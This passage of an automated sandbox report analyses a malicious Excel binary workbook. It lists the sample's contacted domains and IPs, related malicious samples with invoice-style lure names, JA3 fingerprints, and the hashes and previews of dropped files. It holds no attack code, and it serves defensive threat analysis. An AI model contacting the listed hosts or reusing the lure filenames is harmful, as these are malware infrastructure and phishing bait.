                                                                                                                                            https://api.cortana.aiCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://onedrive.live.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                              high
                                                                                                                                              https://ovisualuiapp.azurewebsites.net/pbiagave/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                              unknown
                                                                                                                                              https://visio.uservoice.com/forums/368202-visio-on-devicesCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                                high
                                                                                                                                                https://directory.services.CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://login.windows-ppe.net/common/oauth2/authorizeCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://staging.cortana.aiCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  unknown

                                                                                                                                                  Contacted IPs

                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                  Public

                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                  207.174.212.247
                                                                                                                                                  spala.tkUnited States
                                                                                                                                                  394695PUBLIC-DOMAIN-REGISTRYUSfalse
                                                                                                                                                  108.167.156.223
                                                                                                                                                  api.hindikhabar.comUnited States
                                                                                                                                                  46606UNIFIEDLAYER-AS-1USfalse

                                                                                                                                                  General Information

                                                                                                                                                  Joe Sandbox Version:32.0.0 Black Diamond
                                                                                                                                                  Analysis ID:431577
                                                                                                                                                  Start date:08.06.2021
                                                                                                                                                  Start time:23:17:32
                                                                                                                                                  Joe Sandbox Product:CloudBasic
                                                                                                                                                  Overall analysis duration:0h 4m 59s
                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                  Report type:light
                                                                                                                                                  Sample file name:analysis-31947858.xlsb
                                                                                                                                                  Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                  Number of analysed new started processes analysed:23
                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                  Technologies:
                                                                                                                                                  • HCA enabled
                                                                                                                                                  • EGA enabled
                                                                                                                                                  • HDC enabled
                                                                                                                                                  • AMSI enabled
                                                                                                                                                  Analysis Mode:default
                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                  Detection:MAL
                                                                                                                                                  Classification:mal68.expl.evad.winXLSB@5/9@2/2
                                                                                                                                                  EGA Information:Failed
                                                                                                                                                  HDC Information:Failed
                                                                                                                                                  HCA Information:
                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                  • Number of executed functions: 0
                                                                                                                                                  • Number of non-executed functions: 0
                                                                                                                                                  Cookbook Comments:
                                                                                                                                                  • Adjust boot time
                                                                                                                                                  • Enable AMSI
                                                                                                                                                  • Found application associated with file extension: .xlsb
                                                                                                                                                  • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                  • Attach to Office via COM
                                                                                                                                                  • Scroll down
                                                                                                                                                  • Close Viewer
                                                                                                                                                  Warnings:
                                                                                                                                                  Show All
                                                                                                                                                  • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 13.64.90.137, 52.255.188.83, 104.42.151.234, 13.88.21.125, 104.43.139.144, 52.109.88.177, 52.109.8.24, 52.109.12.23, 168.61.161.212, 40.88.32.150, 20.82.210.154, 96.16.108.70, 20.54.26.129, 51.103.5.186, 92.122.213.247, 92.122.213.194, 20.49.157.6
                                                                                                                                                  • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcoleus15.cloudapp.net, wns.notify.trafficmanager.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, client.wns.windows.com, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com, skypedataprdcolwus16.cloudapp.net, skypedataprdcolwus15.cloudapp.net, europe.configsvc1.live.com.akadns.net
                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information

                                                                                                                                                  Simulations

                                                                                                                                                  Behavior and APIs

                                                                                                                                                  No simulations

                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                  IPs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  207.174.212.247analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                    108.167.156.223analysis-1593377733.xlsbGet hashmaliciousBrowse

                                                                                                                                                      Domains

                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                      spala.tkanalysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      api.hindikhabar.comanalysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 108.167.156.223

                                                                                                                                                      ASN

                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                      PUBLIC-DOMAIN-REGISTRYUSPOTR95744733.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.181
                                                                                                                                                      Urgent Contract Order GH7856648,pdf.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.224
                                                                                                                                                      analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      SecuriteInfo.com.Trojan.MalPack.ADC.15816.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.198.143
                                                                                                                                                      MAO2nSLj0v.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.224
                                                                                                                                                      New Order.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.225
                                                                                                                                                      nwJ0acvAY2.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.198.143
                                                                                                                                                      003BC09180600189.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.224
                                                                                                                                                      14dO9bGqKy.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.198.143
                                                                                                                                                      $96,914.38 MT103 Copypdf.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.224
                                                                                                                                                      SecuriteInfo.com.Scr.Malcodegdn30.30554.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.223
                                                                                                                                                      e#U03c2.xlsxGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.225
                                                                                                                                                      2sEHG8pTHtJcOxy.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.198.143
                                                                                                                                                      Scan copy proforma invoice_pdf.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.198.143
                                                                                                                                                      MOQ FOB ORDER_________.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.224
                                                                                                                                                      new order.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.198.143
                                                                                                                                                      S. Pools & Water Features Project List 2021.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.198.143
                                                                                                                                                      xQPYfcvw4TlPTR9.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.224
                                                                                                                                                      Our Requirement.exeGet hashmaliciousBrowse
                                                                                                                                                      • 199.79.63.203
                                                                                                                                                      INVOICE FOR PAYMENT_pdf___________________________________.exeGet hashmaliciousBrowse
                                                                                                                                                      • 208.91.199.224
                                                                                                                                                      UNIFIEDLAYER-AS-1USanalysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      research-531942606.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.33.8
                                                                                                                                                      OM PHOENIX TRADERS.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.254.185.244
                                                                                                                                                      research-121105165.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.33.8
                                                                                                                                                      research-76934760.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.33.8
                                                                                                                                                      research-1960540844.xlsxGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.33.8
                                                                                                                                                      fm8m5vuj2w.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.26.241
                                                                                                                                                      research-1110827633.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.33.8
                                                                                                                                                      swift_08_06_21.exeGet hashmaliciousBrowse
                                                                                                                                                      • 162.241.61.204
                                                                                                                                                      INVOICES,PDF.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.254.224.94
                                                                                                                                                      Outstanding_Payments.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.129.69
                                                                                                                                                      xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.107.121
                                                                                                                                                      xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.145.162
                                                                                                                                                      SecuriteInfo.com.Trojan.GenericKD.46442270.25635.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.113.219
                                                                                                                                                      SecuriteInfo.com.__vbaHresultCheckObj.9138.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.113.219
                                                                                                                                                      MLJ.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.113.219
                                                                                                                                                      LEMOH.exeGet hashmaliciousBrowse
                                                                                                                                                      • 162.241.219.209
                                                                                                                                                      03062021.exeGet hashmaliciousBrowse
                                                                                                                                                      • 162.241.253.69
                                                                                                                                                      Shipment documents.exeGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.190.186
                                                                                                                                                      statistic-608048546.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 192.185.225.204

                                                                                                                                                      JA3 Fingerprints

                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                      37f463bf4616ecd445d4a1937da06e19Julie.randall Completed REFERRAL AGREEMENT 60926.htmlGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      DPSGNwkO1Z.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      x1Q123VhUa.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      Snc3sPQ2yl.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      nU8kVKVAc8.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      tmp_Client-Status-062021-952177.vbsGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      research-531942606.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      New order_doc.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      06.08.21 Inv & AP Statement - Copy.htmGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      #Ud83d#Udda8rocket.com 1208421(69-queue-2615.htmGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      research-121105165.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      New order_doc.lzhGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      research-76934760.xlsbGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      70u3FHoU4o.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      research-1960540844.xlsxGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      ygU1UKPJFM.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      REZH941tfH.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      w0P2I3ghke.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223
                                                                                                                                                      YnHyBANq7u.exeGet hashmaliciousBrowse
                                                                                                                                                      • 207.174.212.247
                                                                                                                                                      • 108.167.156.223

                                                                                                                                                      Dropped Files

                                                                                                                                                      No context

                                                                                                                                                      Created / dropped Files

                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):134915
                                                                                                                                                      Entropy (8bit):5.369276657637567
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:1536:rcQIKNEeBXA3gBwlpQ9DQW+z7534ZlCKWXboOilX5ENLWME9:3EQ9DQW+zAXOe
                                                                                                                                                      MD5:AF3254BEDD31B3732E154AE30CDD9B32
                                                                                                                                                      SHA1:F03DD47F48F4ED5890030710887A2E6E4C10FB5E
                                                                                                                                                      SHA-256:C08286E266CB9E3153B03D10CC20AEF9BEA68DFBFFA254266A054B5760252D48
                                                                                                                                                      SHA-512:95F6501E8959FB512B4132B10A1BCF1131060443F82C8003729596491E390F4B82D3282251EA7FC40CAE8A1E12B67D0A9BE8597B01D516651EA53FC5BDB907DF
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-08T21:18:26">.. Build: 16.0.14207.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\110C55A2.png
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:PNG image data, 934 x 29, 8-bit/color RGB, non-interlaced
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):42557
                                                                                                                                                      Entropy (8bit):7.992800895943226
                                                                                                                                                      Encrypted:true
                                                                                                                                                      SSDEEP:768:Pfsq4UmepRdblCFcXhw9KnRTRews6xD0FvBlwAS1A8x7BcS0OvD230:PR3ZblCF28KRsws6CFv0AYx7Bl3b230
                                                                                                                                                      MD5:B1F262A694930ADB699FA94E3394887F
                                                                                                                                                      SHA1:9C9B66D3A3F09AECA45DB94304CDD6FB3C5BD4C9
                                                                                                                                                      SHA-256:9C99EC61392B9022A38C1354124360147E8185065095BD2EC92B1416CF9F4B68
                                                                                                                                                      SHA-512:1CA7E6750178B88EC3AA7A0B83348EA389E26C27E0D7E919D807BE470714E5B4F04ACEB69D391F0498D4E465E6620E9449CA2F40755B5CE8196E683502EBF5F4
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: .PNG........IHDR.............6......sRGB.........pHYs..........+......IDATx^....dU....S.:ON.0.0....s0 .....$..%#HR.T.......$..0C...Su...[.TM..{.......C.S}..^{......].^..ZX.Wb.W....X!..A.P....0..u...X.V.3.....z..tiO{GW..?...A.......ca2Y.... ...cAX..zZ..2M.$..g.O.e..r?z&................*....*.=..Z.A........a.Z..ka<..N.R.c......./.[..j.^...Nk.(..y.,..z"...R..Z+..D1Q....z....0..u~..jU_.b.Z.V....:..5:.(.......-...A2.O.{..p.j..].<........0..0..+...E...^...z....#..j.d...X._..1..M.5..O.^.."..l....G....U1........X.6.Z.\.&..h..m*..T..xH.j..3<$.H...a..n....}t.A.jT.6G.h@..<.x..x...cb......C..{.D.'QW<.o~..?.....4F_..B..h.\...y8..)....j.Z.d..#P..P..O.....(.0...f....B_z>.E .w../..(...'.Fw..yT..G..)...b9..g.AA`.a..v.zfY.F........._r.i.d.`....Q.g.m"..\..&.t.X.q1}.$.S....2..~...d."..1.. (.0.F....t...i..@f.. ...(..8..q.....I.....ad.....z%....;...y.O...X<Q..X.....B..H........<)....4.&9.4......1.h..#B.....g.....bO.59.A..M.....J..vX3*5..X....(G.A.u...8.. .{
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\2490E53B.png
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:PNG image data, 490 x 30, 8-bit/color RGB, non-interlaced
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):18547
                                                                                                                                                      Entropy (8bit):7.9850486438978985
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:384:kBCIQCloAwCZDy0xOTn6/g6l4NpWfw9nHk6Ka01f7Y/H:kBCIQpAwODPMT6/gfOUKN70
                                                                                                                                                      MD5:ED31C7053D581EDC4C98D222CE02EDEF
                                                                                                                                                      SHA1:6BA7A49CC6FF8FE00E9C5BC75F48AB7E679536DD
                                                                                                                                                      SHA-256:0FCF61397154DF01CFAECA362BD643D88AAD5FEDD07B52DC8A921CC0D7236534
                                                                                                                                                      SHA-512:929BF13F2A050B33D0EABDAC97CAAFDDE612AD521027FEE4DD51E28A3CF61198D6C045E00AB85223C73D74D18BB4EAA1681C7AFA917946DC08A3C75FB2AB4935
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: .PNG........IHDR.............l{......sRGB.........pHYs..........+....H.IDATx^...U............"x....U...."...Tc.{...M1M..In....TATb4F,`oD..Q..3......g.3..Lr.D....a8....~.z....Z...yyF..9...:.H.Q2..)/L.....Q.}....(J..,...w2>R.$..G2..m>..|...0.M.g.Xnjj...P.v..x....S......B..p.=.Lz.^..Wi..2U.V'.a..*DE.'..rT.z....#.;..]....[?.C...o.m`]..m][;.:<..]F.9..u..Q]c.Ue.9....(.F.Z.~s..Q:..B...)..LZ.TTo..P.gc.l.'.X.}..H....Q.h|....L..rcd.2dN..co..5.....w.U.4..}........{.Q.....D2.J.z~..:Y3,.H..(#.J.Q......N.._7....w.....].2w.6...._....u.......9-.7.f9...E9...p.A..f....=....Bqu....A.u.JG>b"...%..0..W.H=...G#.DR.....P.|FD).NJ....)>.;...M...T*.dW..t:[.xT..M.|S...O..."M.4u7.uS...]4..R.vK....*).ZK.. J.=.9C.].kr..ES..6..f.(.....N':..t..^.S....kn[s.#..(.....m.....~....6>....:u.J.mO.....%D...Q...6%....!......H.....v..^%....$.._..V........[o5.H8......n.~M.z.RL.0p:.iC.k.1..$...............3[....mS5..........E...2.&...k]...A.....K.8...5..O.@7.[-.F4*7...i....in...y....A
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3393477F.png
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):557
                                                                                                                                                      Entropy (8bit):7.343009301479381
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
                                                                                                                                                      MD5:A516B6CB784827C6BDE58BC9D341C1BD
                                                                                                                                                      SHA1:9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
                                                                                                                                                      SHA-256:EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
                                                                                                                                                      SHA-512:C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:moderate, very likely benign file
                                                                                                                                                      Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.|.-P#P;..p._.......jUG....X........IEND.B`.
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\485E3B74.png
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):848
                                                                                                                                                      Entropy (8bit):7.595467031611744
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
                                                                                                                                                      MD5:02DB1068B56D3FD907241C2F3240F849
                                                                                                                                                      SHA1:58EC338C879DDBDF02265CBEFA9A2FB08C569D20
                                                                                                                                                      SHA-256:D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
                                                                                                                                                      SHA-512:9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:moderate, very likely benign file
                                                                                                                                                      Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H*................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY*.^......IEND.B`.
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\6CD3CE5.png
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:PNG image data, 246 x 108, 8-bit/color RGB, non-interlaced
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):10270
                                                                                                                                                      Entropy (8bit):7.975714699744477
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:192:3sXvKLMbye/PEXiKTUgCto9h4F6NwfU6vGDpdYNbcQZgkbd4cgc:3iLh/gJ59CDfU6LocbGK
                                                                                                                                                      MD5:9C4F09E387EA7B36C8149EA7C5F8876E
                                                                                                                                                      SHA1:FF83384288EB89964C3872367E43F25FAFF007CC
                                                                                                                                                      SHA-256:A51C1D65092272DAEB2541D64A10539F0D04BC2F51B281C7A3296500CFCA56DE
                                                                                                                                                      SHA-512:0FDDE22CFDDE8BB1C04842D2810D0FD6D42192594E0D6120DE401B08B7E2CFFB5333792BC748E93CD70FA14734CC7D950620CB977DDBBDB52D92BDA8F35521F8
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: .PNG........IHDR.......l...........sRGB.........pHYs..........+....'.IDATx^.].|.U...%...J.".....H.&Ui......E.........D.7....U.i..FH#=......3..$K....'{3....7........0.H......H..03..,....8.q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8......... .`..) @...X...q..>N...>.........q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8...l..m.i'Sj.W.i.S.TJ....D.D._%...]..i.;J..b..T.).Ik.L6..L.mN....!*..\..'{$.o._b..h....t"@.?...y...d..h..|..B9D..CJD..t."........bR"....I)H....z.......>|.....E.x..r....J.U..[...p:D....XF......A...E.....b..C...C..C......=.Z..$.=../....Y..x5CY.0l..,~.W. .?......;...$.'....<.H.2...z..6(.E........kw8w^.\~...".C,gl&.m..J2.).HI.....b.r...'.....r.H...P.....'...A.^.q..j).cZ.^1~.|.........dv^.^v..X..v..6/^.$rR. iK..H.Uu.Pvk....U.....'.Fd..Z.]mu\*1.Zb.\b...N..P..&tr;.W....J.K(@.^A..R.S.[~.v.R.YO...0-...2..h."..............7..Ng...R...e.&..@..t..N...{5...W.x./#.%..}t...F8-..M1..(4b1....&.....)B...6.
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E32953F6.png
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:PNG image data, 521 x 246, 8-bit/color RGB, non-interlaced
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):32996
                                                                                                                                                      Entropy (8bit):7.975478139053759
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:768:N4k48AnTViUidx37OODgvnrxtxAudMN1VTRVHdB4K7K:NE8m+L37OOwrCXN1VTR1PK
                                                                                                                                                      MD5:4E69B72B0CE87CC7EE30AA1A062147FE
                                                                                                                                                      SHA1:09B0AA5414E08756E0AE53E1BE5C70DB4DEAF2E8
                                                                                                                                                      SHA-256:77A1F749389CBF771D5197FF0FF17113FCA1D91989ADCADF2852876A6CC14988
                                                                                                                                                      SHA-512:6246AF2137E773F7719033AFE75F0B00FF3A4B5543DBA53737FC8D33EE42478E3D8A5CF166E9EFD2F54A2F3E0D62417BDDC1CB824642305B59AB1229313D2D79
                                                                                                                                                      Malicious:false
